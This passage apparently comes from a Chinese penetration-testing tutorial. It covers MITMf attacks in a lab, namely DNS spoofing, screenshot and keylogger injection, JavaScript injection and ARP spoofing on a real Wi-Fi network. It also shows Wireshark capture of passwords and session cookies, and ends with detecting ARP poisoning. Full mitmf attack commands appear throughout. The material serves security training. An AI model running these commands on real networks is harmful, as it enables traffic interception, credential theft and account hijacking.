让我们看看如何实现这个目标。首先,我们要做的是将人们重定向到我们的 Web 服务器。Web 服务器将运行在我们的本地 Kali 机器上。我们可以将用户重定向到任何地方的 Web 服务器,但在本节中我们将他们重定向到我们本地的 Web 服务器。为此,我们将启动 Apache Web 服务器。Kali 系统预安装了 Apache,所以我们只需运行service apache2 start,Web 服务器就会启动。

Web 服务器的文件存储在/var/www/html目录中。我们将打开文件管理器,进入/var/www/html目录,以下截图中的页面将显示给浏览我们 Web 服务器的用户:

我们可以在这里安装一个完整的网站,每当有人访问我们的 Web 服务器时,它就会显示。如果我们在浏览器中访问10.0.2.15,即我们的内部 IP 地址,我们会看到index.html页面。接下来,我们将配置 MITMf 附带的 DNS 服务器;为此我们将使用 Leafpad,这是一个文本编辑器,然后运行leafpad /etc/mitmf/mitmf.conf。接下来,向下滚动到A记录的位置,如下截图所示;A记录基本上是负责将域名转换为 IP 地址的记录:

我们将以live.com为目标,并使用*作为通配符。因此,基本上我们在说任何指向live.com的子域名都应重定向到10.0.2.15——我们的 IP 地址。我们可以用任何 IP 地址替换这里的 IP。例如,我们可以放入我们在任何托管公司上托管的远程网站的 IP 地址,或者我们也可以将其重定向到 Google,例如,如果我们放入 Google 的 IP 地址。我们在这里放入的任何 IP 都会重定向到live.com。保存文件并关闭,然后我们将运行命令。它与我们之前在其他部分运行的命令非常相似。唯一的区别是,我将添加一个额外的选项,即--dns。所以命令几乎相同,mitmf --arp --spoof --gateway --target --i,然后我们添加了一个额外的选项--dns。命令如下:

mitmf --arp --spoof --gateway 10.0.2.1 --target 10.0.2.5 -i eth0 --dns

按下回车后,DNS 欺骗已启用。让我们访问目标网站,尝试进入live.com,看看会发生什么。如以下截图所示,live.com 实际上使用 HTTPS,并且已被重定向到我们自己的网页,这里显示了一些简单的文本,但我们可以安装任何我们想要的内容。我们可以要求他们下载某些东西,或者可以设置一个假页面,盗取数据和凭证:

它还可以用于向目标人物提供虚假的更新,例如,或者用于即时下载后门程序。DNS 欺骗有很多用途。这只是 DNS 欺骗的基本操作方式,之后我们可以将其与其他攻击或其他方法结合,执行非常强大的攻击。

MITMf 截图键盘记录器

在本节中,我们将展示一个 MITMf 自带的简单插件示例。我们将运行mitmf --help,然后在滚动到help之后,我们会看到很多可以用于目标电脑上执行各种操作的插件,如下图所示:

我们可以使用--inject插件将代码注入到目标人物加载的网页中,稍后我们会展示这个插件的例子。现在我们做的只是展示一个简单插件的示例,之后我们会做更多的尝试。现在,例如,我们可以看到以下截图中,我们有一个ScreenShotter插件,该插件会截取目标人物使用的每个页面的截图。每当目标人物使用一个页面时,它就会拍摄该页面的截图:

我们可以设置--interval;这是程序拍摄截图的时间间隔。默认值为 10 秒,所以它每隔 10 秒拍一次截图,但我们可以使用--interval选项来修改它。

我们先简单了解一下如何使用插件,首先做的就是使用插件名称,然后设置我们想要的选项。我们将使用我们常用的命令,然后将插件名称放在后面。插件名称是--screen,如果我们想更改间隔时间,可以添加--interval选项。然后,我们设置拍摄截图的时间间隔。我们将保持为 10 秒,所以我们不做任何更改。以下是命令:

mitmf --arp --spoof --gateway 10.0.2.1 --target 10.0.2.5 -i eth0 --screen

我们应该去目标电脑并浏览互联网。

访问 Bing 或 Google,搜索任何内容,进入图片等。插件现在已经开始每隔 10 秒拍摄一次截图,接下来我们可以看到截图中,实际上每次都会注入代码:

使用Ctrl + C停止进程,然后我们去查看插件在/var/log/mitmf目录下捕获的截图:

我们可以看到我们在目标电脑上 Google 到的图片:

所有的图片将存储在/var/log/mitmf目录中,我们可以查看它们,并了解目标人物在其电脑上的操作。还有其他可以使用的插件。

我们有--jskeylogger,它基本上会在目标页面中注入一个键盘记录器,但这有点没用,因为既然我们是中间人(MITM),我们本来就能看到用户名和密码,以及发送到目标计算机上的其他任何内容。但是如果我们出于某种原因想要将键盘记录器注入到目标计算机或目标网站中,那么我们只需要执行我们通常运行的相同命令,并在其后输入--jskeylogger,这样就会注入键盘记录器。以下是命令:

mitmf --arp --spoof --gateway 10.0.2.1 --target 10.0.2.5 -i eth0 --jskeylogger

再次强调,我们可以在目标网页浏览器上进行搜索,尝试使用假凭据登录。我们输入了邮箱zaid@isecurity.org和密码123456。显然,由于我们处于连接的中间,这些信息已经被捕获。如果我们查看 MITMf 终端,我们可以看到我们的 JSKeylogger 正在检测到emailpassword字段中有信息被输入:

所以,再次强调,如果目标用户在任何页面上输入任何内容,我们将能够通过键盘记录器捕捉到这些信息。但由于我们是中间人(MITM),我们也可以使用 Wireshark 进行捕获,分析所有数据包,查看目标用户正在输入什么内容。

这是一种方法的示例,展示了如何使用 MITMf 附带的插件。再次强调,输入mitmf --help会列出所有选项和插件,我们可以使用它们,使用的方法与我们之前的操作非常相似。所以我们通常只需要输入选项或插件名称,如果需要设置选项,就设置相应的选项。

MITMf 代码注入

在本节中,我们将讨论如何将代码注入到浏览器中,即注入到目标计算机中。由于我们是中间人(MITM),并且所有的流量都经过我们的设备,当某人请求页面时,我们实际上可以将任何类型的代码插入到该页面中。浏览器可以运行两种类型的代码;它们可以运行 HTML 代码,也可以运行 JavaScript 代码。HTML 代码负责页面的外观,所以它控制按钮、文本、图片等的显示。它不能真正用于做任何能够让我们获取目标计算机访问权限的事情。而 JavaScript 则是一种编程语言,可以用于做很多事情,我们将在后续章节中看到这一点。在这一节中,我们将看到如何将 JavaScript 代码注入到目标浏览器中。我们也可以使用相同的方法来注入 HTML 代码,但 JavaScript 更为实用。因此,我们将使用我们的示例来注入 JavaScript。

所以,首先让我们运行带有--help命令的 MITMf,它将显示我们在--inject插件下有哪些选项,如下图所示:

我们将使用我们一直使用的相同命令。唯一的区别是我们将插入--inject插件,然后我们有不同的注入选项。主要有三个选项:

  • 我们可以将我们的代码存储到一个文件中,并且可以使用--js-file--html-file来注入您指定的文件中存储的代码。

  • 代码可以在线存储,并且有一个 URL。我们可以使用--js-url--html-url选项来使用该 URL。

  • 我们实际上可以通过命令本身提供代码,使用--js-payload--html-payload选项。

我们将首次通过命令提供代码,然后使用文件进行操作。我们将使用--inject payload,然后我们将使用--js-payload

我们的命令将和往常一样是mitmf,然后我们将添加选项,即插件,即--inject,然后我们将告诉它我们要通过命令指定代码。我们将使用--js-payload,然后我们可以在--js-payload选项后放置 JavaScript 代码。我们将放入我们的 JavaScript 代码,我们将使用非常简单的代码,它只会在目标计算机上显示一个消息框。我们的代码不会尝试入侵任何东西;它只会在目标计算机上显示一个消息框,在后续部分中我们将看到如何使用这个选项进行更强大的攻击。所以,基本上,我们的代码将在 JavaScript 中执行一个alert()函数,而这个警报只会显示test。所以,我们的命令是一样的,就是mitmf --arp --spoof;我们的接口,-i--gateway--target;然后我们加载了--inject插件;并告诉它我们通过命令指定代码。我们要运行的代码是alert('test'),就是这样。命令如下:

mitmf --arp --spoof -i eth0 --gateway 10.0.2.1 --target 10.0.2.5 --inject --js-payload "alert('test')"

我们可以通过转到目标系统,浏览普通网页,并查看发生了什么来检查结果。我们只需转到 Carzone.ie,如下截图所示,页面显示了一个消息框,消息框上写着 test:

所以,这是非常简单的代码,实际上并不能让我们在目标计算机上执行任何操作,但我们可以在后续部分中使用它来进行更强大的攻击。

同样,我们实际上可以搜索 JavaScript 代码,并查看对我们有用的代码。例如,有 JavaScript 键盘记录器,有可以在目标计算机上截图的代码,还有许多其他代码。您可以将目标计算机重定向到其他地方,窃取他们的 cookie;您可以执行许多这些强大的攻击。

另一种运行inject攻击的方法是使用文件。如果我们使用的是更复杂的代码之一,通过命令行编写将会很困难,所以最好将代码存储到文件中,并使用--js-file选项。我们只需打开 Leafpad 并获取我们的代码。实际上,我们只需运行leafpad,然后将在前面示例中编写的相同代码写入文件中。我们将使一个警报弹出,alert('test2');。我们将文件保存为alert.js,并将其存储在我们的/root目录中:

所以,如果我们在谷歌搜索或使用更复杂的代码,我们可以将所有内容存储在这个文件中,然后进行注入。运行与之前相同的命令;唯一的区别是,不再使用--js-payload,而是使用--js-file,并指定文件,即文件的完整路径。我们将其存储在/root目录中,文件名为alert.js。如果我们从互联网下载包含键盘记录器的文件,例如,或者一个将目标计算机重定向到其他网站的文件,那么我们再次使用相同的命令,但确保我们使用--js-file,然后指定文件的完整路径。命令如下:

mitmf --arp --spoof -i eth0 --gateway 10.0.2.1 --target 10.0.2.5 --inject --js-file /root/alert.js

然后我们将启动这个命令,MITMf 将开始进程。我们将回到目标机器。让我们浏览一些内容。我们将看到我们注入的第二个代码test2在目标机器上执行。攻击的结果可以在下面的截图中看到:

现在,这些只是显示消息框的非常简单的代码,但我们可以下载或寻找更复杂的 JavaScript 代码,或者只需在后续部分中跟进,看看我们如何使用这个功能进行更强大的攻击。

对真实网络进行 MITMf 攻击

MITMf 可以针对真实网络进行攻击,方式与我们针对虚拟网络使用它的方式完全相同;唯一的区别是,我们要确保指定正确的 IP 地址、正确的接口,并连接到目标人员连接的相同网络。我们还应该了解一些可能会导致 MITMf 无法正常工作的要点。

现在要做的第一件事是运行ifconfig命令查看我们的配置。我们可以看到在下面的截图中,我们有eth0,它连接到我们的 NAT 网络,因为我们配置了 Kali 机器使用 NAT 网络:

首先,在我们攻击真实网络之前,我们需要确保 Kali 只连接到了那个网络。我们需要做的第一件事是断开与 IP 为10.0.2.15的网络连接,这就是我们的虚拟网络。这个步骤非常重要,实际上,它是 MITMf 可能遇到干扰的主要原因。攻击可能会成功,但我们可能会遇到 DNS 问题,或者目标机器的互联网连接会变得非常慢,甚至完全丧失连接。请进入设备 | 网络,并查看“连接网络适配器”选项旁边的勾选框:

勾选表示我们已连接到网络,因为它连接了网络适配器。我们将点击“连接网络适配器”,这将使我们从 NAT 网络中断开,如下图所示:

现在,如果我们在 Kali 机器中运行ifconfig命令,我们会看到eth0没有连接到任何设备,表示我们在 Kali 机器上处于离线状态。我们甚至无法ping任何东西:

接下来,我们需要做的是连接到目标机器所连接的同一网络。我们将攻击一台 Windows 机器。它是一台物理计算机,连接到一个物理 Wi-Fi 网络,网络名称是Test。如前所述,我们不能在 VirtualBox 内的虚拟机中使用内部无线网卡,所以为了连接到 Wi-Fi 网络,我们需要使用外部无线适配器。我们将通过 USB 端口连接无线适配器,然后进入设备 | USB,连接一张名为 ATHEROS 的无线网卡:

现在,如果我们运行ifconfig命令,我们会看到一个新的接口叫做wlan0。它是一个无线网卡,但正如我们在下图中看到的,这个无线网卡没有连接到任何网络:

我们需要连接到 Windows 机器所连接的同一网络。连接后,如果我们运行ifconfig,我们会看到wlan0有了一个 IP 地址,并且注意到 Kali 的 IP 地址前三部分与 Windows 中的前三部分相同:

这是 Windows 机器的 IP 地址:

基本上,这意味着两个无线网卡在同一子网和网络上,现在我们可以使用wlan0来定位 Windows 计算机。

如果我们运行arp -a,请注意现在的 MAC 地址。这里是路由器的正确 MAC 地址,当我们运行 MITMf 时,它应该会变成攻击者的 MAC 地址:

我们继续像之前一样运行 MITMf。我们将运行mitmf,并执行--arp --spoof,给定接口,这次我们目标是一个真实的计算机。我们连接到一个真实的网络,wlan0接口连接到该网络。因此,我们将使用wlan0作为接口,而不是eth0。然后,我们将设置--gateway,这通常是子网中的第一个 IP 地址,因此是192.168.0.1,接着我们指定--target,这是 Windows 机器,其 IP 地址是192.168.0.3。命令如下:

mitmf --arp --spoof -i wlan0 --gateway 192.168.0.1 --target 192.168.0.3

唯一的区别是我们使用了不同的参数;我们使用wlan0是因为wlan0是连接到目标网络的无线网卡,我们使用--gateway是我们拥有的相同 IP 中的第一个 IP,然后我们使用--target,这是这台 Windows 机器,我们将其设置为192.168.0.3。按下Enter后,我们可以看到路由器的旧 MAC 地址是ec:1a:59:5a:ce:de;现在,如果我们运行--arp -a命令,MAC 地址应该会更改为 Kali 机器的 MAC 地址:

实际上,这可能需要一分钟半的时间才能看到更改的反映。只需稍等片刻,然后检查 MAC 地址,如果没有反映出来,再查看一遍。

访问一个网站,生成一些流量在 Windows 计算机上,以便它更新其 ARP 表。MITMf 正在嗅探数据并捕获 Windows 机器发送的数据:

尝试在 Windows 机器上使用虚假凭据登录一个 HTTP 网站。如下图所示,我们成功获得了电子邮件zaid@isecurity.org和密码123456

MITMf 对连接到真实网络的计算机有效。需要记住的主要事项是确保我们与目标设备连接到同一网络。如果该设备连接到 Wi-Fi 网络,确保我们使用的是外部无线适配器,而不是桥接或 NAT 网络。我们需要通过 Kali Linux 的网络管理器进行连接,因此我们需要连接无线网卡并连接到目标网络。同时,记得如果 Kali 机器曾连接到 NAT 网络,应该断开连接,通过进入设备|网络,取消选择虚拟适配器,确保 Kali 机器与目标网络隔离。我们不希望它连接到任何其他网络。

如果我们运行ifconfig,可以看到eth0没有任何 IP 地址。唯一拥有 IP 地址并连接到互联网的设备是wlan0

一旦我们完成了攻击操作,如果我们想要恢复使用 NAT 网络来定位其他虚拟机,或者如果我们只是想通过宿主机获取互联网连接,我们只需要进入设备 | 网络,然后点击连接网络适配器:

这样就会重新将我们的eth0连接到 NAT 网络,并且允许我们像之前一样使用它。所以,如果我们现在运行ifconfig,我们会看到eth0已经有了 IP 地址,并且再次连接到 NAT 网络:

Wireshark

在本节中,我们将讨论一个名为 Wireshark 的工具。Wireshark 是一个网络协议分析工具。它并不是为黑客设计的,也不是为了黑客攻击或监视网络上其他人而设计的。它是为网络管理员设计的,帮助他们查看网络中发生的事情,确保一切正常工作,没有人在网络上做任何恶意或可疑的事情。Wireshark 的工作方式是,它允许你选择一个接口,然后记录所有通过该接口传输的数据包,或者所有的流量。所以,我们选择一个接口(它可以是无线网卡,也可以是我们当前计算机上的有线网卡),然后它会开始记录通过该接口流动的所有信息。它还具有一个非常友好的图形界面,允许我们分析这些流量,因此我们可以根据协议(如 HTTP 或 TCP)来过滤这些数据包。它还允许我们查找特定的内容,如 cookie 或POSTGET请求,并且它还允许我们搜索这些数据包中的信息。我们可以在这些数据包存储的信息中进行搜索,找到我们要寻找的内容。这个工具有着广泛的应用,我们可能需要一本完整的书来涵盖所有内容,因此在本书中,我们实际上只会在几个章节中使用它,重点讲解基础知识以及与我们相关的内容。

这里的主要思想是,Wireshark 不是一个黑客工具。它只允许我们捕获通过我们自己计算机或接口流动的流量。所以,我们只需要进入 Kali,启动 Wireshark。我们可以从终端运行wireshark命令。首先,你实际上可以直接进入文件 | 打开,在这里你可以打开我们已经捕获的文件。例如,你可能使用了其他抓包工具,如 Airodump、MITMf 或 TShark(Wireshark 的终端部分)来捕获数据包。

如果我们使用这些程序中的任何一个捕获了数据包,并将其存储在一个文件中,我们可以进入这里,打开它,然后开始分析该文件:

这非常方便,因为有时我们并不想实时分析流量。有时我们只是想从一台小型笔记本或手机捕获流量,而我们甚至可能不在家。我们可能正在其他地方进行渗透测试,然后回到家后,我们想分析我们捕获的内容。在这种情况下,我们可以将其存储在一个文件中,然后只需打开 Wireshark 并打开我们想要分析的文件。这里的主要思想是,Wireshark 不是一个黑客工具,它不会捕获其他设备上发生的事情。它只会捕获流经我们自己接口的流量。

所以,我们可以在下面的截图中看到我们计算机上的所有接口。我们可以看到 eth0,此外还有其他一些接口,其中一些是由 VirtualBox 创建的:

上面截图中的主要接口是 eth0,它是连接到我们 NAT 网络的虚拟接口。

现在,打开浏览器,访问一个正常的网站,例如 Google。现在,正如我们在下面的截图中看到的,我们可以看到 eth0 接口图中的流量出现了峰值,说明通过该接口生成了流量:

所以,如果我们在 eth0 上嗅探,我们将能够捕获到发送的包。

现在,去我们的 Windows 机器上验证这一点;浏览一个网站,我们会看到 eth0 不会受到影响。在与 Kali 机器处于同一网络的 Windows 机器上生成的流量,将不会被 Kali 机器捕获。

那么,为什么 Wireshark 如此有用?如果我们只能看到流经自己计算机的流量,那我们为什么还要讨论它呢?我们之所以谈论它,是因为我们已经看到有许多方法可以让我们成为 MITM(中间人攻击者)。

现在,我们讨论了成为 MITM 的两种方法。我们谈到通过 ARP 欺骗来实现,如果我们创建一个伪造的接入点,那么我们自然会成为 MITM,因为所有的请求都会通过这个伪接入点,并开始在用来成为 MITM 的接口上嗅探。我们将能够捕获到所有我们在 MITM 攻击中针对的目标产生的流量。所以,如果我们启动一个伪接入点,我们可以开始在广播信号的接口上嗅探,并捕获所有发送给或接收到与这个伪接入点连接的任何人的包。如果我们通过 ARP 欺骗成为 MITM,那么只需选择我们在发起 ARP 欺骗攻击时使用的接口。我们将使用 ARP 欺骗来执行这个操作,因为它比生成一个伪接入点更快更简单,但这两种方法都适用。如果我们能够通过其他方式成为 MITM,也可以使用这种方法。只要确保选择我们在发起该攻击时使用的接口即可。

所以,我们将要讲解 ARP 欺骗。我们可以使用 arpspoof 来进行,或者你也可以使用 MITMf 来进行。我们将使用 MITMf,我们的命令将是mitmf --arp --spoof -i,其中eth0是我们的接口,接着我们会指定--gateway10.0.2.1,然后是--target,目标地址为10.0.2.5。所以,我们之前已经执行过这个命令。它会将我们放置为中间人(MITM),并将来自 IP 地址10.0.2.5的流量重定向到我们的计算机,将我们置于中间。使用以下命令执行攻击:

mitmf --arp --spoof -i eth0 --gateway 10.0.2.1 --target 10.0.2.5

转到 Windows 机器。如果我们在这里进行任何浏览,它将影响 eth0 上的流量。我们将看看 Wireshark 是否能捕获由这台 Windows 机器生成的流量。访问 Google 或其他网站,如果我们回到工具中,在下面的截图中,你会看到这里有流量正在生成。我们可以看到 eth0 实际上正在捕获来自一个完全不同设备的数据包,这个设备甚至没有连接到我们的网络:

这是因为当我们是中间人(MITM)时,所有由 Windows 设备生成的数据包实际上都会被重定向到我们的 Kali 设备,然后 Wireshark 从 Kali 机器上嗅探这些数据包,它是从我们自己的本地机器上嗅探的。它不是从网络上嗅探的,也不是从目标计算机上嗅探的,它只是在当前接口(即 eth0)上监听,并且可以捕获通过 eth0 流动的数据包,因为 MITMf 已经将 Windows 机器的流量重定向到 Kali 机器上。

所以,再次强调,如果使用虚假接入点执行攻击,那么只需要监听我们正在广播的接口。如果我们使用真实的无线网络进行攻击,假如我们通过 wlan0 连接到家里的无线网络,那么我们就可以使用 wlan0 进行攻击。但在 ARP 欺骗中,我们必须先重定向流量。然后,我们可以使用 Wireshark。现在,这只是为了展示 Wireshark 是什么以及它是如何工作的,我们要强调的是 Wireshark 并不是一个黑客工具。它只是一个让我们记录通过某个接口流动的数据包并进行分析的程序。因此,在下一部分,我们将看到如何使用 Wireshark 来嗅探和分析数据包。

Wireshark 基础

在上一节中,我们看到如何启动 Wireshark,并且我们提到可以打开一个包含我们已经捕获的数据包的文件,并使用 Wireshark 开始分析它们。在这一节中,我们将开始嗅探数据包,然后在 Windows 机器上生成一些流量,然后我们将看到如何使用 Wireshark 分析这些数据包。正如我们所知,首先我们需要成为 MITM 才能使用 Wireshark,然后流经 eth0 接口的流量就是在 Windows 机器中生成的,正如我们在上一节中看到的。因此,在开始捕获数据包之前,我们需要通过点击齿轮图标进入选项:

我们可以看到所有可以设置的选项,我们拥有的所有接口,以及在这些接口上生成的流量,如下图所示:

eth0 接口时不时会生成一些流量,因为它来自 Windows 机器。我们可以选择我们要开始捕获的接口,实际上我们可以选择多个接口,所有需要做的就是按住Ctrl键,然后点击其他接口。如果我们点击“输出”标签,我们可以选择存储数据包的选项:

如果我们只想嗅探而不想分析数据,那么我们可以直接进入“浏览”并将我们要嗅探的数据包存储在某个地方,之后我们可以在有时间时随时进行分析。我们只需像在上一节看到的那样,用 Wireshark 打开它们。只需要点击“文件”|“打开”,然后打开数据包并开始分析。

现在,我们已经选择了 eth0 接口,接下来点击“开始”,这将开始捕获数据包。任何将流经 eth0 的数据都会被捕获并在 Wireshark 中显示出来:

任何计算机在互联网上进行的操作(我们指的是图片、消息、cookie 等)都会通过 eth0 流动,因此都会被 Wireshark 捕获。这与 MITMf 不同,MITMf 只显示我们重要的信息。而在 Wireshark 中,我们将看到所有内容,所有产生的流量。因此,首先让我们生成一些流量并尝试分析我们生成的数据包或流量。

在 Wireshark 的主界面中,如下图所示,我们可以看到每条记录都是一个数据包:

我们可以看到列。首先是用于数据包编号的 No. 列。在时间列中,我们将看到此数据包被捕获的时间。时间随着向下滚动而增加,显示这些数据包被捕获的时间。我们还可以看到源列,显示数据包发送的设备。目标列显示接收设备的 IP 地址。协议列显示数据包使用的协议名称。在长度列中,我们可以看到数据包的大小。我们还可以在信息列中看到有关数据包的更多信息:

我们还可以看到数据包具有不同的颜色。通常,绿色表示 TCP 数据包,深蓝色表示 DNS 数据包。浅蓝色通常表示 UDP,但目前我们没有任何 UDP 数据包,我们还可以看到一些黑色数据包,这些是存在问题的 TCP 数据包。如果我们双击任何数据包,它将显示更多信息。这些信息与主界面底部显示的信息相同。我们可以在以下截图中看到,数据包包括帧、以太网、互联网协议和传输控制协议,我们可以使用箭头点击查看更多存储的信息。现在,如果我们双击数据包,我们将获得完全相同的信息,并能获取所选数据包的详细信息:

现在,我们生成的大部分流量是 HTTP 流量,因此为了去除所有这些我们难以阅读的信息,我们只需要在过滤器中输入 HTTP,并按下Enter。如我们所见,这样就将所有数据包过滤为 HTTP 流量。例如,我们有一个从目标计算机发送到服务器的 POST 请求。我们仍然不知道这个服务器是什么,但它是一个互联网上的服务器。当我们双击它时,我们将获得有关此数据包的更多信息。我们将在这里将其缩小。接下来,在帧下,我们可以看到所使用的接口。我们可以看到关于数据包本身的信息。在以太网 II 中,如下图所示,可以看到目标和源的信息,所以我们可以看到使用了 MAC 地址。在互联网协议中,我们将看到诸如目标地理位置等信息,显示该数据包被发送到哪里。在传输协议中,我们可以看到有关所使用端口的信息:

现在,对我们来说,真正有趣的部分是超文本传输协议(HTTP),因为这里是我们看到有趣信息的地方。在这里,我们可以看到请求被发送到 bing.com,我们将看到这个请求是在搜索 www,我们还可以看到内容类型是 text。所以,我们可以获取这些信息,正如以下截图所示,关于每一个发送的包,并且可以看到 Wireshark 记录了发生的所有事情。它不仅显示有趣的信息,它实际上记录了所有内容。它包含了有趣的内容,还有更多:

所以,重新来看,我们可以看到我们所做的所有搜索。我们可以看到用户迄今为止输入的所有网址。如果我们向下滚动,就能够看到我们访问的其他网址。

Wireshark 过滤器

在这一部分,我们将看到如何使用更多的 Wireshark 过滤器捕获用户名和密码,并且我们还将看到如何查看一个已经登录服务且没有重新输入用户名和密码的人的 cookies。所以,我们将开始一个新的捕获。我们将进入 Hotmail,登录用户名是zaid@hotmail.com,然后输入密码,这将是一个随机密码,将被捕获。我们将输入123456并按回车。当我们进入 Wireshark 工具时,我们将看到它成功地捕获了流量,正如以下截图所示。在流量中,我们将寻找 HTTP,并寻找 POST 请求:

我们看到一个 POST 请求,从目标计算机发送到服务器。我们将打开它,查看其中的内容。我们将扫描这些捕获的数据,找出哪些会话包含我们的用户名和密码。

我们将打开所有 HTTPS 网址,还有一个包含 POST 请求的网址。在以下截图中,我们找到了捕获我们登录凭据的会话。我们通过 HTML 表单查看它们。我们捕获到的登录会话是zaid@hotmail.com,所以这是我们输入的内容,你还可以看到发送的密码,123456

所以,再次说明,MITMf 为我们嗅探了所有数据,并显示了信息。它过滤了重要信息。我们可以看到,我们能够使用 Wireshark 捕获网络上发送的任何内容。

我们可以做的另一件事是搜索整个数据包。我们可以直接点击“编辑”选项,然后选择“查找数据包”,我们可以在数据包列表中或数据包详情中进行搜索。如果我们在数据包详情中搜索,我们将保持Narrow & Wide,然后得到一个字符串。实际上,如果我们想要,我们可以设置一个显示过滤器,但我们搜索的是一个字符串,就是普通文本。如果我们搜索Zaid,它实际上会直接跳转到包含我们用户名的数据包。当我们找到它时,可以双击它,选择对我们来说更方便的方式。在下面的截图中,我们成功捕获了用户名zaid@hotmail.com

现在,我们可以点击“查找下一个”,它会找到下一个数据包,里面实际上包含我们的密码。同样,这里的搜索功能是非常有用的,它可以帮助我们在所有数据包中找到我们需要的内容。

现在,让我们开始一次新的捕获,看看是否能够实际捕获 cookie。我们将前往我们的 Windows 机器,然后访问之前已经登录过的 Dailymotion 网站。如我们所见,它没有要求我重新登录,因为我们已经登录了,并且页面上已经显示了用户名,我们就进入这个频道。这是我们创建的一个假频道。我们进入 Wireshark 并停止捕获,然后我们不再搜索 HTTP,而是搜索 http.cookie:

如果我们往下看,用户到达了他们的主页,这是我们之前创建的假用户名。现在,如果我们去查看前面的POST请求,并查看超文本,我们可以看到用来认证这个用户的 cookie。我们只需要为浏览器下载一个插件,并将这些 cookie 注入到浏览器中。这样我们就可以像用户一样登录到该账户,而不需要密码。这就像我们之前在使用 ferret 和 hamster 时做的一样。同样,我们这样做是为了证明 Wireshark 可以用于进行我们之前执行的所有攻击,甚至更多,因为基本上它可以捕获任何流经我们设备的数据。任何发送或接收的请求,不管是来自还是发往目标计算机的数据,都会流经我们的接口,Wireshark 将捕获一切。无论 Wireshark 认为这些数据是否重要,它都会捕获所有内容,因此它是一个非常非常方便和有用的工具。

总结

本章的第一部分讲述了 MITM 框架,它可以用于我们在网络上执行的最强大攻击之一。我们使用 arpspoof 进行了 MITM 攻击,绕过了 HTTPS,进行会话劫持,研究了 DNS 欺骗,观察了键盘记录器,并涵盖了代码注入。

后来,我们了解了 Wireshark 工具,它是通过分析特定目标进出数据包来收集客户端信息的非常有效的工具。它允许用户解码其中携带的信息。我们学习了如何使用它的基础知识,也学习了如何应用和分析一些过滤器。

下一章将介绍 ARP 中毒攻击,以及如何检测和防止这种攻击。我们将使用 Wireshark 进行检测。

第九章:网络渗透测试、检测与安全

在本章中,我们将学习如何检测 ARP 中毒;为此,我们将首先了解 ARP 中毒是什么,如何执行该攻击,然后如何检测它。本章还涵盖了如何检测可疑行为,我们将使用 Wireshark 工具来实现。

总结一下,在本章中,我们将涵盖以下主题:

  • 检测 ARP 中毒

  • 检测可疑行为

检测 ARP 中毒

让我们来看一下如何检测 ARP 中毒攻击。首先,我们需要了解 ARP 表。在我们的 Windows 设备上,这也是我们总是攻击的设备,我们将运行arp -a命令来列出 ARP 表中的所有条目。每台计算机都有一个 ARP 表,该表将 IP 地址与 MAC 地址关联起来。我们有一个路由器的 IP 地址10.0.2.1,它与 MAC 地址52-54-00-12-35-00相关联,如下图所示:

ARP 中毒通过可信请求来实现;正如你在之前的截图中看到的,当一个请求被信任时,客户端会接受响应,即使实际上并未发送请求。黑客向客户端发送一个响应,告诉它他们是路由器,这个响应会被自动信任并接受。接着,黑客会向路由器发送另一个响应,告诉它我们是客户端。这将修改路由器和客户端的 ARP 表中的条目,将黑客的 MAC 地址与路由器的 IP 地址关联起来。换句话说,路由器的 MAC 地址现在是攻击者的 MAC 地址。通过这种方式,黑客将能够读取、分析并修改通过该设备的任何数据包,如下图所示:

现在我们将从 Kali 机器上执行一次正常的 ARP 中毒攻击。以下是命令:

mitmf --arp --spoof --gateway 10.0.2.1 --target 10.0.2.5 -i eth0

当我们返回并执行与之前相同的命令arp -a时,我们应该看到不同的 MAC 地址,如下图所示:

路由器的 MAC 地址曾经是52-54-00-12-35-00,但现在已更改为08-00-27-0b-91-66,这是攻击者使用的网卡的 MAC 地址。

如果我们在 Kali 机器上运行ifconfig eth0,我们将得到相同的 MAC 地址,如之前的截图所示:

这是检测 ARP 中毒攻击最简单的方法,但不是最有效的。为了节省时间,建议使用一个名为 XArp 的工具,它为我们执行ifconfig命令。XArp 可在 Linux 和 Windows 上使用,并且可以从网络上下载。当 XArp 停止攻击时,修改过的 IP 地址会恢复为原始值;在这种情况下,路由器的 MAC 地址会恢复为默认地址。

运行 XArp 会触发一个类似于arp -a命令的过程,如下图所示:

正如我们在前面的截图中看到的,XArp 工具为我们提供了与之关联的 IP 地址和 MAC 地址。该工具会自动监控这些值,通知用户任何变化或重复情况。

如果我们执行一个类似之前的 ARP 欺骗攻击,XArp 应该会显示警报,如下图所示:

通知将传达一条消息,表示 IP 的 MAC 地址从 52-54-00-12-35-00 更改为 08-00-27-0b-91-66。

一旦我们点击“确定”,我们可以看到受影响的机器是路由器、我们的 Windows 机器和我们的攻击者 Kali 机器,如下图所示:

上面的截图告诉我们,10.0.2.15 机器正在尝试执行 ARP 欺骗攻击,因为路由器的 MAC 地址已更改为该值。

如我们所见,XArp 工具非常方便,因为它不仅自动监控你的机器,还会告诉你什么时候有人试图进行 ARP 欺骗攻击。

检测可疑行为

现在我们将学习如何使用 Wireshark 来查找网络中的可疑活动。在继续之前,我们需要更改 Wireshark 内的一些设置;前往 Edit | Preferences...,在 Protocols 下找到 ARP/RARP 并启用 Detect ARP request storms 选项:

这将通知我们如果有人试图发现网络上的设备。点击“确定”并通过点击 Capture | Start 开始捕获:

现在我们需要切换到 Kali 机器并使用netdiscover。与 ARP 欺骗不同,我们要尝试发现哪些设备连接到了网络。这是通过执行以下命令来完成的:

netdiscover -i eth0 -r 10.0.2.1/24

一旦我们启动了netdiscover命令,它会迅速发现网络上的可用设备:

然后,Wireshark 会生成包含设备名称、目标和每个 IP 地址请求内容的数据包,如下图所示:

如结果所示,一台设备正在检查某个特定范围内是否存在任何可能的 IP 地址。该设备要求将响应发送到10.0.2.67,因此可以安全地推断,试图发现我们连接设备的人具有 IP 地址10.0.2.67

如果我们进入 Analyze | Expert Information,你会看到检测到 ARP 数据包风暴:

这意味着有一个设备正在发送大量 ARP 数据包,很可能是为了寻找连接的设备和端口。

我们现在将使用中间人框架执行 ARP 欺骗攻击,以查看是否会在 Wireshark 中收到任何通知或警告。如果我们再次进入 Analyze | Expert Information,应该会出现一条警告,告诉我们配置了重复的 IP 地址:

这意味着路由器的 IP 地址有两个不同的 MAC 地址,这表明有人正在篡改连接,并试图通过 ARP 欺骗攻击将自己置于中间。

现在我们已经探讨了多种检测 ARP 欺骗的方法,接下来我们来讨论如何防止这些攻击并保护自己免受攻击。运行 arp -a 命令将生成以下表格:

